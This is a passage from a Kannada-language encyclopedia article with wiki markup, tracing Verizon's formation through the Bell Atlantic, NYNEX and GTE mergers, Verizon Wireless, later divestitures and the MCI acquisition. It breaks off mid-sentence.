ರೇಮಂಡ್ ಡಬ್ಲ್ಯೂ. ಸ್ಮಿಥ್ NYNEX ಜೊತೆ ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್್ನ ವಿಲೀನವನ್ನು ಸಂಯೋಜನೆಗೊಳಿಸಿದರು. ಈ ವಿಲೀನವಾದಕೂಡಲೆ ಅದು ತನ್ನ ಕಾರ್ಪೋರೇಟ್ ಕೇಂದ್ರ ಕಚೇರಿಯನ್ನು ಫಿಲಿಡೆಲ್ಫಿಯಾದಿಂದ ನ್ಯೂ ಯಾರ್ಕ್ ಸಿಟಿಗೆ ಬದಲಾಯಿಸಿದರು. 1997ರ ವೇಳೆಗೆ ಅದರ ಹೆಸರನ್ನು ಸೇರಿಸಿಕೊಳ್ಳುವ ಮೂಲಕ NYNEXಗೆ ಸಮಾಧಾನ ನೀಡಲಾಯಿತು. ಜಿಟಿಇ ಜೊತೆಗಿನ ಈ ವಿಲೀನಕ್ಕೆ ಮೊದಲು ನ್ಯೂ ಯಾರ್ಕ್ ಸ್ಟಾಕ್ ಎಕ್ಸಚೇಂಜ್್(NYSE)ನಲ್ಲಿ ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್ "ಬಿಇಎಲ್" ಸಂಕೇತದಲ್ಲಿ ವ್ಯಾಪಾರವಾಗುತ್ತಿತ್ತು. ===ಜಿಟಿಇ ವಿಲೀನ === ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್ ಜಿಟಿಇ ಜೊತೆ 30 ಜೂನ್ 2000ದಂದು ವಿಲೀನವಾಯಿತು. ಮತ್ತು ಹೆಸರನ್ನು '''ವೆರಿಝೋನ್ ಕಮ್ಯೂನಿಕೇಶನ್ಸ್ ಐಎನ್್ಸಿ.''' ಎಂದು ಬದಲಾಯಿಸಲಾಯಿತು. ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ವಾಣಿಜ್ಯದ ಇತಿಹಾಸದಲ್ಲಿಯೇ ಅತಿ ದೊಡ್ಡ ವಿಲೀನಗಳಲ್ಲಿ ಇದೂ ಒಂದು. 1996ರಲ್ಲಿ NYNEX ಜೊತೆ ವಿಲೀನವಾದ ಬಳಿಕ ನ್ಯೂ ಯಾರ್ಕ್್ನಲ್ಲಿ ನೆಲೆಯನ್ನು ಹೊಂದಿರುವ ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್ ಮತ್ತು ಕಾನೆಕ್ಟಿಕಟ್್ನ ಸ್ಟ್ಯಾಮ್್ಫೋರ್ಡ್್ನಿಂದ ಟೆಕ್ಸಾಸ್್ನ ಇರ್ವಿಂಗ್್ಗೆ ಕೇಂದ್ರ ಕಚೇರಿಯನ್ನು ವರ್ಗಾಯಿಸುವ ಪ್ರಕ್ರಿಯೆಯಲ್ಲಿ ತೊಡಗಿದ್ದ ಜಿಟಿಇ ನಡುವೆ 1998ರ ಜುಲೈ 27ರಂದು ನಡೆದ ನಿರ್ಣಾಯಕ ವಿಲೀನ ಒಪ್ಪಂದದ ಪರಿಣಾಮ ಇದು. ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್- ಜಿಟಿಇ ವಿಲೀನ ಪ್ರಕಟಣೆಯ ಕಾಲಕ್ಕೆ 52 ಶತಕೋಟಿ ಡಾಲರ್್ಗೂ ಅಧಿಕ ಎಂದು ಮೌಲ್ಯಮಾಪನ ಮಾಡಲಾಗಿತ್ತು. ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್ ಮತ್ತು ಜಿಟಿಇ ಷೇರುದಾರರ ಒಪ್ಪಿಗೆ 27 ಸ್ಟೇಟ್ ರೆಗ್ಯುಲೇಟರಿ ಕಮಿಶನ್್ಗಳ ಮತ್ತು ಫೆಡರಲ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಕಮಿಶನ್ನಿನ (ಎಫ್್ಸಿಸಿ) ಒಪ್ಪಿಗೆ, ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳ ನ್ಯಾಯಾಂಗ ಇಲಾಖೆ (ಡಿಓಜೆ) ಮತ್ತು ವಿವಿಧ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಸಂಸ್ಥೆಗಳ ಅನುಮತಿ ಈ ಎಲ್ಲ ಪ್ರಕ್ರಿಯೆ ಮುಗಿಯಲು ಹತ್ತಿರಹತ್ತಿರ ಎರಡು ವರ್ಷಗಳು ಹಿಡಿದವು. ವೆರಿಝೋನ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಸ್ಥಾಪಿಸುವುದಕ್ಕಾಗಿ ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್ ಮತ್ತು ಜಿಟಿಇ ವಿಲೀನಗೊಂಡಿದ್ದು, ಇದರ ಕಾರ್ಯಾಚರಣೆ 30 ಜೂನ್ 2000ದಿಂದ ಆರಂಭವಾಯಿತು. ವೆರಿಝೋನ್ ಕಮ್ಯುನಿಕೇಶನ್್ನ ಕಾಮನ್್ ಸ್ಟಾಕ್್ನ 1.22 ಷೇರುಗಳಿಗೆ ಜಿಟಿಇ ಕಾಮನ್ ಸ್ಟಾಕ್್ನ ಪ್ರತಿ ಷೇರು ಪ್ರಮಾಣದಲ್ಲಿ ವಿನಿಮಯ ದರವನ್ನು ನಿಗದಿ ಮಾಡಲಾಯಿತು. ಜಿಟಿಇ ಸ್ಟಾಕ್್ಗಳು ವೆರಿಝೋನ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಷೇರುಗಳಾಗಿ ಬದಲಾದುದರಿಂದ ಉಂಟಾದ ಚಿಲ್ಲರೆ ಷೇರುಗಳನ್ನು ಪ್ರತಿ ಷೇರಿಗೆ 55 ಡಾಲರ್್ನಂತೆ ಮಾರಲಾಯಿತು. ವೆರಿಝೋನ್ NYSEಯಲ್ಲಿ ಹೊಸತಾದ "ವಿಝಡ್" ಸಂಕೇತದೊಂದಿಗೆ 3 ಜುಲೈ 2000ದಿಂದ ವ್ಯಾಪಾರವಾಗತೊಡಗಿತು. ಈ ನಡುವೆ, 21 ಸೆಪ್ಟೆಂಬರ್ 1999ರಂದು ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್ ಮತ್ತು ಇಂಗ್ಲಂಡ್ ಮೂಲದ ವೊಡಾಫೋನ್ ಏರ್ ಟಚ್ ಪಿಐಸಿ (ಈಗ ವೊಡಾಫೋನ್ ಗ್ರುಪ್ ಪಿಐಸಿ) ತಾವು ಒಂದು ಹೊಸದಾದ ವೈರ್್ಲೆಸ್ ಬಿಸಿನೆಸ್ ರಾಷ್ಟ್ರೀಯ ಹೆಜ್ಜೆಗುರುತಿನೊಂದಿಗೆ ಆರಂಭಿಸಲು ನಿರ್ಧರಿಸಿರುವುದಾಗಿ ಪ್ರಕಟಿಸಿದವು. ಇದು ಒಂದೇ ಬ್ರ್ಯಾಂಡ್ ಮತ್ತು ಸಾಮಾನ್ಯವಾದ ಡಿಜಿಟಲ್ ತಂತ್ರಜ್ಞಾನವನ್ನು ಹೊಂದಿರುತ್ತದೆ. ಇದು ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್್ನ ಮತ್ತು ವೊಡಾಫೋನ್್ನ ಯು.ಎಸ್. ವೈರ್್ಲೆಸ್ ಅಸೆಟ್ಸ್ [ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್ ಮೊಬೈಲ್ (ಇದನ್ನು ಮೊದಲು 1997ರಲ್ಲಿ ''ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್ - NYNEX ಮೊಬೈಲ್'' ಎಂದು ಕರೆಯುತ್ತಿದ್ದರು.), ಏರ್ ಟಚ್ ಸೆಲ್ಯುಲರ್, ಪ್ರೈಮ್್ಕೋ ಪರ್ಸನಲ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಮತ್ತು ಏರ್ ಟಚ್ ಪೇಜಿಂಗ್] ಇವುಗಳ ಸಂಯೋಜನೆಯಾಗಿರುತ್ತದೆ. ಈ ವೈರ್್ಲೆಸ್್ ಜಂಟಿ ಉದ್ಯಮಕ್ಕೆ ನಿಯಂತ್ರಣ ಸಮ್ಮತಿಯು ಆರು ತಿಂಗಳೊಳಗೆ ಲಭಿಸಿತು. ಮತ್ತು 4 ಏಪ್ರಿಲ್ 2000ದಿಂದ ವೆರಿಝೋನ್ ವೈರ್್ಲೆಸ್್ ಎಂದು ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಆರಂಭಿಸಿತು. "ವೆರಿಝೋನ್" ಎಂಬ ಹೊಸ ಬ್ರ್ಯಾಂಡ್ ನೇಮ್ ಚಾಲ್ತಿಗೆ ಬಂತು. ಜಿಟಿಇದ ವೈರ್್ಲೆಸ್ ಕಾರ್ಯಾಚರಣೆಯು ವೆರಿಝೋನ್ ವೈರ್್ಲೆಸ್್ನ ಭಾಗವಾಯಿತು. 2004ರಲ್ಲಿ ಸಿಂಗ್ಯುಲರ್ ವೈರ್್ಲೆಸ್್ಅನ್ನು ಎಟಿ ಮತ್ತು ಟಿ ವೈರ್್ಲೆಸ್್ ಖರೀದಿಸುವ ವರೆಗೂ ಇದು ದೇಶದ ಅತಿದೊಡ್ಡ ವೈರ್್ಲೆಸ್್ ಕಂಪನಿಯಾಗಿತ್ತು. - ಇದಾದ ಸುಮಾರು ಮೂರು ತಿಂಗಳ ಬಳಿಕ ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್ - ಜಿಟಿಇ ವಿಲೀನ ಅಂತ್ಯಗೊಂಡಿತು. ಆಗ ವೆರಿಝೋನ್ ವೆರಿಝೋನ್ ವೈರ್್ಲೆಸ್್ನ ಮಾಲೀಕತ್ವದಲ್ಲಿ (55%) ಮೇಲುಗೈ ಸಾಧಿಸಿತ್ತು. ಜೆನುಯಿಟಿ ಯು ಈ ಮೊದಲು ಜಿಟಿಇ ಕಾರ್ಪೋರೇಶನ್್ನ ಇಂಟರ್ನೆಟ್ ವಿಭಾಗವಾಗಿತ್ತು. ಮತ್ತು 2000ರಲ್ಲಿ ಅದನ್ನು ಆರಂಭಿಸಲಾಗಿತ್ತು.<ref>{{cite news |first=Colin C. |last=Haley |url=http://boston.internet.com/news/article.php/1432771 |title=Genuity Jilted by Verizon, Mulls Options |publisher=Internet.com |date=July 25, 2002 |access-date=ಅಕ್ಟೋಬರ್ 25, 2010 |archive-date=ಏಪ್ರಿಲ್ 18, 2008 |archive-url=https://web.archive.org/web/20080418150839/http://boston.internet.com/news/article.php/1432771 |url-status=dead }}</ref> ಲೆವಲ್ ಥ್ರೀ ಕಮ್ಯುನಿಕೇಶನ್ಸ್ ದಿವಾಳಿಯಾಗಿದ್ದ ಐಎಸ್್ಪಿಯ ಆಸ್ತಿಯನ್ನು ಕೇವಲ 137 ದಶಲಕ್ಷ ಡಾಲರ್್ಗೆ ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು; ಚೌಕಾಶಿಯ- ತಳ ಬೆಲೆಯು 616 ದಶಲಕ್ಷ ಡಾಲರ್ ಎಂದು ಪರಿಗಣಿಸಲಾಗಿತ್ತು. ಈ ಮೊತ್ತವು ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್ ಜೊತೆ ವಿಲೀನವಾಗುವುದಕ್ಕೆ ಮೊದಲು ಜಿಟಿಇ ಜೆನಿಯಿಟಿಗೆ (ಆಗ ಬಿಬಿಎನ್ ಪ್ಲಾನೆಟ್) 1997ರಲ್ಲಿ ನೀಡಿದ್ದು.<ref>{{cite news |first=Denise |last=Pappalardo |url=http://www.networkworld.com/news/2003/0210level3.html |title=Changes afoot for Genuity customers |publisher=Network World |date=February 10, 2003 |access-date=ಅಕ್ಟೋಬರ್ 25, 2010 |archive-date=ಜೂನ್ 13, 2011 |archive-url=https://web.archive.org/web/20110613142919/http://www.networkworld.com/news/2003/0210level3.html |url-status=dead }}</ref> ====ವಿಲೀನದ ಪರಿಣಾಮಗಳು==== ''ಈ ವಿಭಾಗವು ಲ್ಯಾಂಡ್್ಲೈನ್್ಗಳಿಗೆ ಮಾತ್ರ ಸಂಬಂಧಿಸಿದ್ದು ಎಂಬುದನ್ನು ಗಮನಿಸಿ. ವೆರಿಝೋನ್ ವೈರ್್ಲೆಸ್ ದೇಶಾದ್ಯಂತ ಕಾರ್ಯಾಚರಣೆ ನಡೆಸುತ್ತಿದೆ.'' 2004ರ ಏಪ್ರಿಲ್ 8ರಂದು ವೆರಿಝೋನ್್ ಷೇರುಗಳನ್ನು ಡವ್ ಜೋನ್ಸ್ ಇಂಡಸ್ಟ್ರಿಯಲ್ ಅವೆರೇಜ್್ನ ಒಂದು ಘಟವನ್ನಾಗಿ ಮಾಡಲಾಯಿತು.<ref>{{cite news |last=Isadore |first=Chris |title=AT&T, Kodak, IP out of Dow |date=April 1, 2004 |publisher=CNN/Money |url=http://money.cnn.com/2004/04/01/markets/dow/}}</ref> ವೆರಿಝೋನ್ ಸದ್ಯ 140.3 ದಶಲಕ್ಷ ಲ್ಯಾಂಡ್್ಲೈನ್ ಸೇವೆಯನ್ನು ಹೊಂದಿದೆ. ಎಂಸಿಐ ಜೊತೆ ವಿಲೀನದಿಂದಾಗಿ ಅದು 2,50,000ಕ್ಕೂ ಹೆಚ್ಚು ಕೆಲಸಗಾರರನ್ನು ಹೊಂದಿದೆ. ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದುದ್ದಕ್ಕೂ ಹೆಚ್ಚುಕಡಿಮೆ ವೆರಿಝೋನ್ ಗ್ರಾಹಕರಿಗೆ ಸೇವೆಯನ್ನು ನೀಡುತ್ತಿದೆ. ಇದು ಸೇವೆಯನ್ನು ಒದಗಿಸುವ ರಾಜ್ಯಗಲ್ಲಿ ಇವು ಸೇರಿವೆ: *ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ *ಕೊನೆಕ್ಟಿಕಟ್ *ಡೆಲಾವೇರ್ *[[ಫ್ಲಾರಿಡ|ಫ್ಲೋರಿಡಾ]]‡ *[[ಮೇರಿಲ್ಯಾಂಡ್]] *ಮಸ್ಸಾಚುಸೆಟ್ಟ್ಸ್‌* *ನ್ಯೂ ಜೆರ್ಸಿ *[[ನ್ಯೂ ಯಾರ್ಕ್]] *ಪೆನ್ಸಿಲ್ವೇನಿಯಾ<sup>#~</sup> *ರೋಡೆ ಐಲ್ಯಾಂಡ್* *ಟೆಕ್ಸಾಸ್<sup>^</sup> *[[ವರ್ಜೀನಿಯ|ವರ್ಜೀನಿಯಾ]]<sup>#†</sup> *[[ವಾಷಿಂಗ್ಟನ್, ಡಿ.ಸಿ.|ವಾಷಿಂಗ್ಟನ್‌, D.C.]] (#) ಬೆಲ್ ಆಪರೇಟಿಂಗ್ ಕಂಪನಿಗಳಿಂದಲೂ ಸೇವೆಪಡೆಯುತ್ತವೆ (ಕೆಳಗೆ ನೋಡಿ) ಈ ರಾಜ್ಯಗಳು ಈ ಕೆಳಗಿನ ಆಪರೇಟಿಂಗ್ ಕಂಪನಿಗಳಿಂದ ಸೇವೆಯನ್ನು ಪಡೆಯುತ್ತವೆ: ಮರುನಾಮಕರಣಗೊಂಡ ಹಿಂದಿನ ಬೆಲ್ ಆಪರೇಟಿಂಗ್ ಕಂಪನಿಗಳು: *ವೆರಿಝೋನ್ ಡೆಲಾವೇರ್, ಐಎನ್್ಸಿ,- ಆಗ್ನೇಯ ಪೆನ್ಸಿಲ್ವೇನಿಯಾದ ಒಂದು ಭಾಗದಲ್ಲಿಯೂ ಸೇವೆ ನೀಡುತ್ತದೆ. *ವೆರಿಝೋನ್ ಮೇರಿಲ್ಯಾಂಡ್, ಐಎನ್್ಸಿ. *ವೆರಿಝೋನ್ ನ್ಯೂ ಇಂಗ್ಲಂಡ್ ಟೆಲಿಫೋನ್ ಆ್ಯಂಡ್ ಟೆಲಿಗ್ರಾಫ್, ಐಎನ್್ಸಿ,- (*) ಚಿಹ್ನೆಯೊಂದಿಗೆ ಗುರುತಿಸಲ್ಪಟ್ಟಿದೆ. *ವೆರಿಝೋನ್ ನ್ಯೂ ಜೆರ್ಸಿ, ಐಎನ್್ಸಿ. *ವೆರಿಝೋನ್ ನ್ಯೂ ಯಾರ್ಕ್ ಟೆಲಿಫೋನ್, ಐಎನ್್ಸಿ.- ನೈಋತ್ಯ ಕೊನೆಕ್ಟಿಕಟ್್ನಲ್ಲೂ ಸೇವೆ ಸಲ್ಲಿಸುತ್ತದೆ. *ವೆರಿಝೋನ್ ಪೆನ್ಸಿಲ್ವೇನಿಯಾ, ಐಎನ್್ಸಿ. *ವೆರಿಝೋನ್ ವರ್ಜಿನಿಯಾ, ಐಎನ್್ಸಿ. *ವೆರಿಝೋನೋ ವಾಷಿಂಗ್ಟನ್, ಡಿ.ಸಿ., ಐಎನ್್ಸಿ. (ವೆರಿಝೋನದ ಮೂಲ ಸೇವಾಕ್ಷೇತ್ರವು ಪಶ್ಚಿಮ ವರ್ಜಿನಿಯಾವನ್ನು ಒಳಗೊಂಡಿದೆ. ವೆರಿಝೋನ್ ವಿಲೀನಕ್ಕೆ ಪೂರ್ವದಲ್ಲಿ ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್ ವೆರಿಝೋನ್ ವೆಸ್ಟ್ ವರ್ಜಿನಿಯಾ, ಐಎನ್್ಸಿ. ಎಂಬ ಆಪರೇಟಿಂಗ್ ಕಂಪನಿ ಅಡಿಯಲ್ಲಿ ಸೇವೆಯನ್ನು ನೀಡುತ್ತಿತ್ತು. ಹೀಗಿದ್ದರೂ, ವೆರಿಝೋನ್ ತನ್ನ ಎಲ್ಲ ವೆಸ್ಟ್್ ವರ್ಜಿನಿಯಾ ವಯರ್ ಲೈನ್ ಆಸ್ತಿಯನ್ನು ಫ್ರಂಟೀಯರ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್್ಗೆ ದೊಡ್ಡ ಒಪ್ಪಂದದ ಭಾಗವಾಗಿ ಮಾರಾಟ ಮಾಡಿದ್ದು, ಈ ಒಪ್ಪಂದ 2010ರಲ್ಲಿ ಅಂತಿಮಗೊಂಡಿದೆ. (ಸ್ವಾಮ್ಯ ಹರಣ ವಿಭಾಗ ನೋಡಿ) ಹಿಂದಿನ ಜಿಟಿಇ ಕಾರ್ಯನಿರ್ವಹಣೆ ಕಂಪನಿಗಳು: *ಜಿಟಿಇ ಸೌಥ್್ವೆಸ್ಟ್, ಐಎನ್್ಸಿ. ಡಿಬಿಎ ವೆರಿಜೋನ್ ಸೌಥ್್ವೆಸ್ಟ್, ಐಎನ್್ಸಿ. (<sup>^</sup> ಚಿಹ್ನೆಯಿಂದ ಗುರುತಾಗಿದೆ) *ಜಿಟಿಇ ಫ್ಲೋರಿಡಾ, ಐಎನ್್ಸಿ. ಡಿಬಿಎ ವೆರಿಝೋನ್ ಫ್ಲೋರಿಡಾ, ಐಎನ್್ಸಿ.. (<sup>‡</sup>ಈ ಚಿಹ್ನೆಯಿಂದ ಗುರುತಾಗಿದೆ) *ವೆರಿಝೋನ್ ಸೌಥ್, ಐಎನ್್ಸಿ. (<sup>†</sup> ಈ ಚಿಹ್ನೆಯಿಂದ ಗುರುತಾಗಿದೆ) *ವೆರಿಝೋನ್ ನಾರ್ಥ್, ಐಎನ್್ಸಿ. (<sup>~</sup> ಈ ಚಿಹ್ನೆಯಿಂದ ಗುರುತಾಗಿದೆ) *ವೆರಿಝೋನ್ ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ, ಐಎನ್್ಸಿ. (<sup>&amp;</sup> ಈ ಚಿಹ್ನೆಯಿಂದ ಗುರುತಾಗಿದೆ) ವೆರಿಝೋನ್್ ಕೆಲವು ಅಂತಾರಾಷ್ಟ್ರೀಯ ಸಂಪರ್ಕ ಕಂಪನಿಗಳಲ್ಲಿಯೂ ತನ್ನ ಹಕ್ಕನ್ನು ಹೊಂದಿದೆ. ಅತ್ಯಂತ ಗಮನಾರ್ಹವಾದದ್ದು, ವೊಡಾಫೋನ್ ಇಟಲಿಯಲ್ಲಿ ಅದು 23.14% ಪಾಲನ್ನು ಹೊಂದಿರುವುದು. ವೆರಿಝೋನದ ಇತರ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಹೂಡಿಕೆ, ಜಿಬ್ರಾಲ್ಟರ್ NYNEX ಕಮ್ಯುನಿಕೇಶನ್ಸ್್ನಲ್ಲಿ ಶೇ.50 ಪಾಲು. === ಸ್ವಾಮ್ಯಹರಣ=== ಪ್ರತಿಕೂಲ ಹವಾಮಾನ ಮತ್ತು ಅತ್ಯಧಿಕ ವೆಚ್ಚದ ಕಾರಣ ಜಿಟಿಇ ಅಲಾಸ್ಕಾವನ್ನು ವೆರಿಝೋನ್ ಜೊತೆ ವಿಲೀನಗೊಳಿಸುವದರ ಬದಲು ಅಲಾಸ್ಕಾ ಪವರ್ ಆ್ಯಂಡ್ ಟೆಲಿಫೋನ್ ಕಂಪನಿಗೆ ಮಾರಲಾಯಿತು. 2002ರಲ್ಲಿ ವೆರಿಝೋನ್ ಜಿಟಿಇದ ಹಿಂದಿನ ಟೆಲಿಫೋನ್ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಮೂರು ರಾಜ್ಯಗಳಲ್ಲಿ ಮಾರಾಟ ಮಾಡಿತು: [[ಮಿಸೌರಿ|ಮಿಸ್ಸೌರಿ]] ಮತ್ತು [[ಅಲಬಾಮ|ಅಲಬಾಮಾ]] ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಸೆಂಚುರಿ ಟೆಲ್್ಗೆ ಮಾರಲಾಯಿತು. ಇದು 2009ರಲ್ಲಿ ಎಂಬಾರ್ಕ್ ಜೊತೆ ವಿಲೀನಗೊಂಡು ಸೆಂಚುರಿಲಿಂಕ್ ಆಯಿತು.. ಕೆಂಟುಕಿ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಆಲ್್ಟೆಲ್್ಗೆ ಮಾರಲಾಯಿತು. ಇದು ನಂತರ ತನ್ನ ಲ್ಯಾಂಡ್್ಲೈನ್ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ವಿಂಡ್್ಸ್ಟ್ರೀಮ್್ ಆಗಿ ಬದಲಾಯಿಸಿತು. 2005ರಲ್ಲಿ, ವೆರಿಝೋನ್, ಹವಾಯಿಯಲ್ಲಿಯ ಜಿಟಿಇದ ಹಿಂದಿನ ಟೆಲಿಫೋನ್ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ದಿ ಕಾರ್ಲಿಲೆ ಗ್ರುಪ್್ಗೆ ಮಾರಾಟ ಮಾಡಿತು. ಈ ಕಾರ್ಯಾಚರಣೆಯು ಈಗ ಹವಾಯಿಯನ್ ಟೆಲಿಕಾಂ ಎಂದು ಹೆಸರಾಗಿದೆ. 3 ಏಪ್ರಿಲ್ 2006ರಂದು ವೆರಿಝೋನ್ ವೆರಿಝೋನ್ ಡೊಮಿನಿಕಾನ್ (ಡೊಮೆನಿಕನ್ ರಿಪಬ್ಲಿಕ್್ನಲ್ಲಿಯ ಕಾರ್ಯಾಚರಣೆ) ದಲ್ಲಿಯ ತನ್ನ ಹಕ್ಕನ್ನು ಮಾರುವುದಕ್ಕೆ, ವೆನೆಜುಯೆಲಾದಲ್ಲಿಯ CANTV ಮತ್ತು ಪ್ಯುರ್ಟೋರಿಕೋದಲ್ಲಿಯ ಪ್ಯುರ್ಟೋರಿಕೋ ಟೆಲಿಫೋನ್ ಕಂಪನಿ, ಐಎನ್್ಸಿ. (ಪಿಆರ್್ಟಿ)ಯನ್ನು ಟೆಲ್ಮೆಕ್ಸ್್ಗೆ ಮತ್ತು ಅಮೆರಿಕಾ ಮೋವಿಯನ್ನು 3.7 ಶತಕೋಟಿ ಡಾಲರ್್ಗೆ ಮಾರುವುದಕ್ಕೆ ಒಪ್ಪಿಕೊಂಡಿತು.<ref>[https://web.archive.org/web/20070519115212/http://www.iht.com/articles/2006/04/03/business/verizon.php ವೆರಿಝೋನ್ ಮಾರಲಿರುವ ಲ್ಯಾಟಿನ್ ಯುನಿಟ್್ಗಳು], iht.com</ref> 16 ಜನವರಿ 2007ರಂದು ಮೈನೆಯಲ್ಲಿಯ ವೆರಿಝೋನ್ ನ್ಯೂ ಇಂಗ್ಲಂಡ್ ಕಾರ್ಯಾಚರಣೆ, ನ್ಯೂ ಹ್ಯಾಂಪ್್ಶೈರ್ ಮತ್ತು ವೆರ್ಮೋಂಟ್ ಗಳನ್ನು ವಿಭಜಿಸಿ ಒಂದು ಹೊಸ ಬೆಲ್ ಆಪರೇಟಿಂಗ್ ಕಂಪನಿಯನ್ನು ಹುಟ್ಟುಹಾಕಿ ಅದನ್ನು ಫೇರ್್ಪಾಯಿಂಟ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಜೊತೆ ವಿಲೀನಗೊಳಿಸಲಾಯಿತು. ಈ ಸಂಬಂಧದ ಒಪ್ಪಂದವು 2008ರ ಏಪ್ರಿಲ್ 1ರಂದು ಅಂತಿಮಗೊಂಡಿತು. 13 ಮೇ 2009ರಂದು [[ಆರಿಜೋನ|ಅರಿಝೋನಾ]], ಇದಾಹೋ, ಇಲ್ಲಿನೊಯ್ಸ್, ಇಂಡಿಯಾನಾ, ಮಿಚಿಗನ್, ನೆವಡಾ, ನಾರ್ಥ್ ಕಾರೋಲಿನಾ, ಓಹಿಯೋ, [[ಆರೆಗನ್|ಒರೆಗಾನ್]], ಸೌಥ್ ಕೆರೋಲಿನಾ, ವಾಷಿಂಗ್ಟನ್, ವೆಸ್ಟ್ ವರ್ಜಿನಿಯಾ ಮತ್ತು [[ವಿಸ್ಕೊನ್‌ಸಿನ್|ವಿಸ್ಕೋನ್್ಸಿನ್]]್ದಲ್ಲಿಯ ಎಲ್ಲ ವೆರಿಝೋನ್್ದ ವೈರ್್ಲೈನ್ ಆಸ್ತಿಯನ್ನು, ಅದೇ ರೀತಿ ಕೆಲಿಫೋರ್ನಿಯಾದಲ್ಲಿಯ ಕೆಲವು ಆಸ್ತಿಯನ್ನು ಫ್ರಂಟಿಯರ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್್ಗೆ ಮಾರಾಟ ಮಾಡುವುದಾಗಿ ವೆರಿಝೋನ್ ಪ್ರಕಟಿಸಿತು.<ref>[http://www.google.com/hostednews/ap/article/ALeqM5hRAJjvAqReRAF87F1r-OCfV8T7JAD985C2S01 ವೆರಿಝೋನ್, ಫ್ರಂಟಿಯರ್ $8.6 ಶತಕೋಟಿ ವಯರ್್ಲೆಸ್ ಒಪ್ಪಂದದಲ್ಲಿ]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, ಗೂಗ್ಲ್.ಕಾಂ</ref> 1 ಜುಲೈ 2010ರಂದು ಫ್ರಂಟಿಯರ್್ಗೆ ಈ ಆಸ್ತಿಗಳ ವರ್ಗಾವಣೆ ಅಂತಿಮಗೊಂಡಿತು.<ref>{{cite news|url=http://www.newsobserver.com/2010/07/01/560055/frontier-phone-switch-starts.html|title=Frontier phone switch starts|last=Murawski|first=John|work=[[News & Observer]]|date=2010-07-01|accessdate=2010-07-01|archive-date=2010-07-04|archive-url=https://web.archive.org/web/20100704044804/http://www.newsobserver.com/2010/07/01/560055/frontier-phone-switch-starts.html|url-status=dead}}</ref> ===ಎಂಸಿಐ ಸ್ವಾಧೀನ=== [[File:Mci logo.png|thumb|200px|right|ಎಂಸಿಐ ಲೋಗೋ, 2003-2006.]] ಫೆಬ್ರವರಿ 14, 2005ರಂದು ವೆರಿಝೋನ್ ಈ ಮೊದಲು ವರ್ಲ್ಡ್್ಕಾಂ ಆಗಿದ್ದ ಎಂಸಿಐಅನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳಲು ಒಪ್ಪಿಕೊಂಡಿತು. ಎಸ್್ಬಿಸಿ ಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಎಟಿ ಮತ್ತು ಟಿ ಕಾರ್ಪೋ.ವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವುದಕ್ಕೆ ಕೆಲವು ವಾರಗಳ ಮೊದಲು ಇದು ನಡೆಯಿತು. ಈ ಸ್ವಾಧೀನದ ಬಗ್ಗೆ ಮಾಧ್ಯಮಗಳಲ್ಲಿ ವಿವಿಧ ರೀತಿಯ ಪ್ರಚಾರ ದೊರೆಯಿತು. ಈ ಒಪ್ಪಂದ ಒಮ್ಮೆ ಜಾರಿಗೆ ಬಂದ ಬಳಿಕ ವೆರಿಝೋನ್್ಗೆ ಲಾಭವಾಗುವುದು, ಒಟ್ಟುಗೂಡಿದ ಕಂಪನಿಯಿಂದ ಸಾವಿರಾರು ನೌಕರಿ ಕಡಿಮೆಯಾಗುವುದರಿಂದ ಅಂತರ್ನಿಹಿತ ಉತ್ಪಾದಕತೆ ಹೆಚ್ಚಿ ಆರ್ಥಿಕತೆಯ ಮಟ್ಟ ಏರುವುದು, ಎಂಸಿಐ ಸದ್ಯ ಸೇವೆ ನೀಡುತ್ತಿರುವ ಗ್ರಾಹಕರ ವಾಣಿಜ್ಯದ ದೊಡ್ಡ ಅಡಿಪಾಯ ದೊರೆಯುವುದು ಎಂಬ ಲೆಕ್ಕಾಚಾರ ನಡೆಯಿತು. ವೆರಿಝೋನ್್ಗೆ ಆದ ನಿಜವಾದ ಲಾಭವೆಂದರೆ ದೂರಕ್ಕೆ -ಎಳೆದ ಲೈನ್್ಗಳ ಸ್ವಾಧೀನ. ವೆರಿಝೋನ್್ದ ವಹಿವಾಟಿನ ದೊಡ್ಡ ಭಾಗವು ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳ ಪೂರ್ವದ 